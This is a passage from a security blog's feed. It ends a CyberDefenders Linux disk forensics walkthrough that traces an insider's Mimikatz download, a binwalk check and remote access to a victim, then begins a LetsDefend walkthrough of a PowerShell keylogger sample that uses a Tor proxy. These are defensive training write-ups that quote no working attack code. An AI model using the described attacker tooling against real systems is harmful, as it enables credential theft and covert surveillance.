data-flex-basis=&#34;984px&#34; data-flex-grow=&#34;410&#34; height=&#34;195&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/03aa76fd3e26f1bbcd4dea144b0e10e4_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-program-used-the-filedidyouthinkwedmakeiteasyjpgduring-its-execution&#34;&gt;Question 5: What program used the file &lt;strong&gt;didyouthinkwedmakeiteasy.jpg&lt;/strong&gt; during its execution?&#xA;&lt;/h3&gt;&lt;p&gt;To answer Question 5, let&amp;rsquo;s continue analyzing the &lt;code&gt;.bash_history&lt;/code&gt; file and see if we can stumble across any clues that point us in the right direction.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;332px&#34; data-flex-grow=&#34;138&#34; height=&#34;577&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/d70b52b359ba59ec21960a307c34b90b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;FTK Imager: Identifying didyouthinkwedmakeiteasy.jpg in .bash_history&lt;/p&gt;&#xA;&lt;p&gt;Scroll to the bottom of the log and you&amp;rsquo;ll find a reference to the target file &lt;code&gt;didyouthinkwedmakeiteasy.jpg&lt;/code&gt;. Notice the command &lt;code&gt;binwalk&lt;/code&gt; next to it? According to the &lt;a class=&#34;link&#34; href=&#34;https://www.kali.org/tools/binwalk/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Kali documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Binwalk is a tool for searching a given binary image for embedded files and executable code. Specifically, it is designed for identifying files and code embedded inside of firmware images.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So, in this context, it appears that cautious Karen was checking this image file for the presence of embedded executables using &lt;strong&gt;Binwalk.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;888px&#34; data-flex-grow=&#34;370&#34; height=&#34;216&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/6bb7147757815b72b59b3a8b339dc59d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-third-goal-from-the-checklist-karencreated&#34;&gt;Question 6: What is the third goal from the checklist Karen created?&#xA;&lt;/h3&gt;&lt;p&gt;To determine the third goal, we first have to locate Karen&amp;rsquo;s checklist. To do this, we&amp;rsquo;ll stumble through the usual suspects — common directories like &lt;code&gt;Desktop&lt;/code&gt;, &lt;code&gt;Documents&lt;/code&gt;, &lt;code&gt;Downloads&lt;/code&gt;, &lt;code&gt;Pictures&lt;/code&gt;, and so on.&lt;/p&gt;&#xA;&lt;p&gt;Lucky for us, checking the &lt;code&gt;/root/Desktop&lt;/code&gt; folder first reveals two files: &lt;code&gt;mimikatz&lt;/code&gt; and &lt;code&gt;Checklist&lt;/code&gt;. The first confirms that Karen downloaded the Mimikatz credential dumper we found back in &lt;strong&gt;Question 3&lt;/strong&gt;, and the second contains her checklist.&lt;/p&gt;&#xA;&lt;p&gt;Select the &lt;code&gt;Checklist&lt;/code&gt; and check out Karen&amp;rsquo;s plans.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;332px&#34; data-flex-grow=&#34;138&#34; height=&#34;578&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/ce9c7b39f06caba7801640b9a0188dea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;FTK Imager: The location of Karen&amp;rsquo;s checklist&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1032px&#34; data-flex-grow=&#34;430&#34; height=&#34;186&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/324c2bc13a41e198bbe91846b3491080_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-how-many-times-was-apacherun&#34;&gt;Question 7: How many times was Apache run?&#xA;&lt;/h3&gt;&lt;p&gt;Remember back in &lt;strong&gt;Question 2&lt;/strong&gt; when we obtained the file hash of &lt;code&gt;access.log&lt;/code&gt;? To answer &lt;strong&gt;Question 7&lt;/strong&gt;, we need to check the contents of the file instead.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s navigate back to &lt;code&gt;/var/log/apache2/access.log&lt;/code&gt;. After selecting the file, we see something strange—the log is blank. No problem. This actually tells us something useful: Apache was &lt;em&gt;not&lt;/em&gt; run on Karen&amp;rsquo;s system, so the answer is zero.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;331px&#34; data-flex-grow=&#34;138&#34; height=&#34;579&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/2056714ecd8513b4ffa4169c3bb28c1a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;FTK Imager: The contents of the access.log&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1005px&#34; data-flex-grow=&#34;418&#34; height=&#34;191&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/36d0022169d7397ef1e4ad5f423a06bd_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-this-machine-was-used-to-launch-an-attack-on-another-which-file-contains-the-evidence-forthis&#34;&gt;Question 8: This machine was used to launch an attack on another. Which file contains the evidence for this?&#xA;&lt;/h3&gt;&lt;p&gt;For &lt;strong&gt;Question 8&lt;/strong&gt;, we need to determine which other machine Karen&amp;rsquo;s device attacked. As a starting point, let&amp;rsquo;s return to the &lt;code&gt;/root/.bash_history&lt;/code&gt; file to search for any additional clues.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;331px&#34; data-flex-grow=&#34;137&#34; height=&#34;580&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/51497b1a15b696f57b1fcbfa34c86386_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;FTK Imager: Identifying victim clues in .bash_history&lt;/p&gt;&#xA;&lt;p&gt;Toward the bottom of the log, we see a reference to the name &lt;em&gt;Bob&lt;/em&gt; — maybe the same Bob mentioned in the &lt;em&gt;Checklist&lt;/em&gt;? Interesting, but not entirely helpful.&lt;/p&gt;&#xA;&lt;p&gt;But did you notice an oddly named &lt;code&gt;.jpeg&lt;/code&gt; file in the &lt;code&gt;/root&lt;/code&gt; directory? You can see it in the file list at the same location where we selected the &lt;code&gt;.bash_history&lt;/code&gt;. Let&amp;rsquo;s select it to view the contents&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;335px&#34; data-flex-grow=&#34;139&#34; height=&#34;573&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/0e535aaf947af6275662398a21f35316_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;FTK Imager: Evidence of the attack&lt;/p&gt;&#xA;&lt;p&gt;Bingo! This is a screenshot of &lt;em&gt;Bob&amp;rsquo;s&lt;/em&gt; desktop, which we can determine from the user file path visible in the Windows command prompt window. This strongly implies that Karen had remote access to &lt;em&gt;Bob&amp;rsquo;s&lt;/em&gt; device.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;906px&#34; data-flex-grow=&#34;377&#34; height=&#34;174&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/9958fcc4e8827da7612f73c82c85532f_MD5.png&#34; width=&#34;657&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-9-it-is-believed-that-karen-was-taunting-a-fellow-computer-expert-through-a-bash-script-within-the-documents-directory-who-was-the-expert-that-karen-was-taunting&#34;&gt;Question 9: It is believed that Karen was taunting a fellow computer expert through a bash script within the Documents directory. Who was the expert that Karen was taunting?&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Question 9&lt;/strong&gt; tells us that there&amp;rsquo;s a bash script in the &lt;code&gt;Documents&lt;/code&gt; directory that contains the information we&amp;rsquo;re looking for. Let&amp;rsquo;s check it out.&lt;/p&gt;&#xA;&lt;p&gt;Within the directory, there are a couple of scripts, but we want to focus on &lt;code&gt;firstscript_fixed&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Checking out the contents of this simple script, we see some network enumeration tasks, but the final command contains this printed line:&lt;/p&gt;&#xA;&lt;p&gt;echo &amp;ldquo;Heck yeah! I can write bash too Young&amp;rdquo;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;330px&#34; data-flex-grow=&#34;137&#34; height=&#34;581&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/4de12ceab1d38e0bcdfd13cb3cc5290f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;FTK Imager: Karen&amp;rsquo;s taunt&lt;/p&gt;&#xA;&lt;p&gt;Based on the boasting nature of this output, we can reasonably guess that &lt;em&gt;Young&lt;/em&gt; is the computer expert Karen was taunting.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;780px&#34; data-flex-grow=&#34;325&#34; height=&#34;246&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/a9ee3e4171de902baa5be68f192ef21c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-10-a-user-executed-thesucommand-to-gain-root-access-multiple-times-at-1126-who-was-theuser&#34;&gt;Question 10: A user executed the &lt;strong&gt;su&lt;/strong&gt; command to gain root access multiple times at 11:26. Who was the user?&#xA;&lt;/h3&gt;&lt;p&gt;For this objective, we can leverage another log — &lt;code&gt;/var/log/auth.log&lt;/code&gt;. This file contains the system&amp;rsquo;s authentication events, including commands elevated using &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s use the find feature within the output window to identify the executed &lt;code&gt;su&lt;/code&gt; commands.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;332px&#34; data-flex-grow=&#34;138&#34; height=&#34;577&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/0a69065bd43c9d6627a84e31a77c7d34_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;FTK Imager: Finding the su events in auth.log&lt;/p&gt;&#xA;&lt;p&gt;Now that we&amp;rsquo;ve found them in the logs and matched the timestamps to the question, we can see that the user &lt;strong&gt;postgres&lt;/strong&gt; was responsible for the command execution.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;872px&#34; data-flex-grow=&#34;363&#34; height=&#34;220&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/86b907290030002640986476213ac249_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-11-based-on-the-bash-history-what-is-the-current-working-directory&#34;&gt;Question 11: Based on the bash history, what is the current working directory?&#xA;&lt;/h3&gt;&lt;p&gt;For our final question, we&amp;rsquo;ll return one last time to the &lt;code&gt;.bash_history&lt;/code&gt; artifact to determine the current working directory of the terminal.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;332px&#34; data-flex-grow=&#34;138&#34; height=&#34;578&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/ddea4f120300111053bcb6f346228fe6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;FTK Imager: Finding the current working directory from .bash_history&lt;/p&gt;&#xA;&lt;p&gt;Easy enough — we can see the bash history shows navigation to the &lt;code&gt;/root/Documents/myfirsthack&lt;/code&gt; directory, where we previously stumbled across Karen&amp;rsquo;s attack tooling.&lt;/p&gt;&#xA;&lt;p&gt;Awesome job! Now let&amp;rsquo;s wrap up this investigation.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1000px&#34; data-flex-grow=&#34;416&#34; height=&#34;192&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/50fb4352d62f22e28fc5f76b37a36fd6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;There we have it! We&amp;rsquo;ve successfully analyzed the forensic disk image of Karen&amp;rsquo;s device through &lt;em&gt;FTK Imager&lt;/em&gt;. With access to the image, we were able to move through our investigation, determining several key pieces of evidence, such as the OS distro, the presence of a common credential access tool, a possible motive, a victim, and some of Karen&amp;rsquo;s associates. Not too bad! Now let&amp;rsquo;s report our findings back to &lt;em&gt;TAAUSAI&lt;/em&gt; and close out this &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/insider/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Insider&lt;/strong&gt;&lt;/a&gt; case.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;CyberDefenders&lt;/strong&gt;&lt;/a&gt; for a fun and engaging lab. I&amp;rsquo;ve been brushing up on my Linux forensics skills recently, so I chose this lab to run an investigation without terminal access to the system, instead relying on artifacts available from within a disk image. This was surprisingly effective, and it was interesting to see the Linux file structure from the top-down rather than being in the system directly. It really helped to solidify my working knowledge of Linux artifacts and will definitely be helpful in the field. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/cyberdefenders-insider-lab-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://cyberdefenders.org/blueteam-ctf-challenges/insider/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://cyberdefenders.org/blueteam-ctf-challenges/insider/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Flare-VM:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/mandiant/flare-vm&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/mandiant/flare-vm&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;FTK Imager:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.exterro.com/digital-forensics-software/ftk-imager&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.exterro.com/digital-forensics-software/ftk-imager&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Software — Mimikatz (S0002):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/software/S0002/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/software/S0002/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Kali Documentation — Binwalk:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.kali.org/tools/binwalk/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.kali.org/tools/binwalk/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — PowerShell Keylogger Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/</link>
            <pubDate>Sun, 20 Jul 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/bfffa48e5aa0d5038ada32a4fe0616db_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — PowerShell Keylogger Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--powershell-keylogger-challenge-walkthrough&#34;&gt;LetsDefend — PowerShell Keylogger Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-powershell-malware-sample-with-notepad&#34;&gt;Investigating a PowerShell Malware Sample With Notepad++.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;329&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/bfffa48e5aa0d5038ada32a4fe0616db_MD5.png&#34; width=&#34;630&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive guide to the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/powershell-keylogger&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PowerShell Keylogger&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/powershell-keylogger&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;,&lt;/strong&gt; you&amp;rsquo;re in the right place. This challenge is a great introduction to analyzing &lt;strong&gt;PowerShell-based malware&lt;/strong&gt;, and it gives us a chance to flex our manual analysis skills. Let&amp;rsquo;s check out the scenario:&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;You are a malware analyst investigating a suspected PowerShell malware sample. The malware is designed to establish a connection with a remote server, execute various commands, and potentially exfiltrate data. Your goal is to analyze the malware&amp;rsquo;s functionality and determine its capabilities.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Pretty straightforward, right? Analyze the sample, figure out what it can do. But what&amp;rsquo;s in our toolkit for this investigation? We&amp;rsquo;re going full manual here — all we need is a trusty text editor like &lt;strong&gt;Notepad++&lt;/strong&gt;. As we work through the script, we&amp;rsquo;ll also do some light external research to make sure we&amp;rsquo;re seeing the full picture.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-proxy-port-used-by-thescript&#34;&gt;Question 1: What is the proxy port used by the script?&#xA;&lt;/h3&gt;&lt;p&gt;Alright, let&amp;rsquo;s kick off our investigation and dig into the PowerShell malware sample. First, open the &lt;code&gt;ChallengeFile&lt;/code&gt; folder and extract the &lt;code&gt;sample.7z&lt;/code&gt; archive, which contains the &lt;code&gt;cha&lt;/code&gt; sample file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;818px&#34; data-flex-grow=&#34;341&#34; height=&#34;231&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/9aa459f10f721b4ba44bb55a01dd449e_MD5.png&#34; width=&#34;788&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Overview of the ChallengeFile folder&lt;/p&gt;&#xA;&lt;p&gt;Since we know this is a malicious &lt;strong&gt;PowerShell script&lt;/strong&gt;, we can begin our analysis by looking at the strings within the script to determine what it does. One approach is to simply open the script with a text editor to view the contents. For this walkthrough, I&amp;rsquo;ll be using &lt;strong&gt;Notepad++&lt;/strong&gt;, but there are many other options — the choice is yours!&lt;/p&gt;&#xA;&lt;p&gt;Once we have the sample opened in &lt;em&gt;Notepad++&lt;/em&gt;, we&amp;rsquo;ll see some defined parameters, which is a great way to ease into the analysis. To answer &lt;strong&gt;Question 1&lt;/strong&gt;, turn your attention to &lt;strong&gt;Line 5.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;570&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/f6de979e72c5811d80ab6ba26a67f76f_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the proxy port used by the script&lt;/p&gt;&#xA;&lt;p&gt;We can see the &lt;code&gt;$proxyPort&lt;/code&gt; variable declared with the value of &lt;code&gt;[9050](https://whatportis.com/search/9050)&lt;/code&gt;, indicating that this is the port used by the proxy server. According to &lt;a class=&#34;link&#34; href=&#34;https://whatportis.com/search/9050&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;WhatPortIs&lt;/strong&gt;&lt;/a&gt;, port &lt;code&gt;9050&lt;/code&gt; is the &lt;strong&gt;Tor SOCKS proxy&lt;/strong&gt; port used by the &lt;em&gt;Tor&lt;/em&gt; network, which is commonly used for anonymous browsing. This tells us that the malware is likely attempting to obfuscate its traffic by routing through &lt;em&gt;Tor&lt;/em&gt; and hiding out on the dark web.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1920px&#34; data-flex-grow=&#34;800&#34; height=&#34;100&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/b67cc4d4d7a346f556dbab9d8a968b35_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-function-method-is-used-for-starting-keylogging&#34;&gt;Question 2: What function-method is used for starting keylogging?&#xA;&lt;/h3&gt;&lt;p&gt;The next thing we&amp;rsquo;re going to search for is the name of the keylogging function within the script. In the real world, it&amp;rsquo;s a good idea to read through the script in its entirety to build out an understanding of the whole thing, but for the purposes of this challenge, we&amp;rsquo;re looking for something specific.&lt;/p&gt;&#xA;&lt;p&gt;So, to speed things up, we can leverage the &lt;em&gt;Find&lt;/em&gt; function in &lt;em&gt;Notepad++&lt;/em&gt; and search for the keyword &lt;code&gt;&amp;quot;keylogger&amp;quot;&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Check out &lt;strong&gt;Line 94:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;336px&#34; data-flex-grow=&#34;140&#34; height=&#34;571&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/4454ab2c336a151d16d93c82030e1a69_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the keylogger function in the script&lt;/p&gt;&#xA;&lt;p&gt;Here we can see the line &lt;code&gt;function Start-Keylogger&lt;/code&gt;, which indicates that this is the name of the function containing the keylogging module.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1761px&#34; data-flex-grow=&#34;733&#34; height=&#34;109&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-powershell-keylogger-challenge-walkthrough/8704e428e52a0d35fd15ed1835d3cad0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-name-of-the-file-used-by-the-script-to-store-the-keylogdata&#34;&gt;Question 3: What is the name of the file used by the script to store the keylog data?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we&amp;rsquo;ve identified the keylogger function, our next task is to determine which file the collected data is stored in. Keep digging through the keylogging function we discovered 